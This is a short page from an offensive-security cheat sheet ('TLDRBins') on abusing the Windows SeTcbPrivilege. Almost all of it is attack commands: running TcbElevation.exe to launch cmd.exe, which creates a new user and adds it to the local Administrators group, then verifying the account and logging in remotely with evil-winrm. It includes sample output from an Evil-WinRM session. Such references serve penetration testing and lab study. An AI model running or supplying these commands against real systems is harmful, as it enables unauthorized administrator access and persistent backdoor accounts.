TLDRBins TLDRBins / SeTcbPrivilege


Usage Tips:

  • Click on a keyword to enable inline editing.
  • Click inside a code block to copy (excludes comments).
  • Use the button to view examples.
  • Click outside to collapse all examples.

Privesc #1: Create a New User in Administarors Group

1. Create a New User

.\TcbElevation.exe anything "C:\Windows\System32\cmd.exe /c net user <NEW_USER> <NEW_PASSWORD> /add && net localgroup administrators <NEW_USER> /add"
Sample Output: TO-DO

2. Check

net user <NEW_USER> /domain
Sample Output: *Evil-WinRM* PS C:\programdata> net user fake_user /domain User name fake_user Full Name Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 8/14/2025 10:40:51 PM Password expires 9/25/2025 10:40:51 PM Password changeable 8/15/2025 10:40:51 PM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon Never Logon hours allowed All Local Group Memberships *Administrators Global Group memberships *Domain Users The command completed successfully.

3. Remote Winrm

evil-winrm -i <TARGET_DOMAIN> -u <NEW_USER> -p <NEW_PASSWORD>
Sample Output: TO-DO

Ref: TcbElevation.exe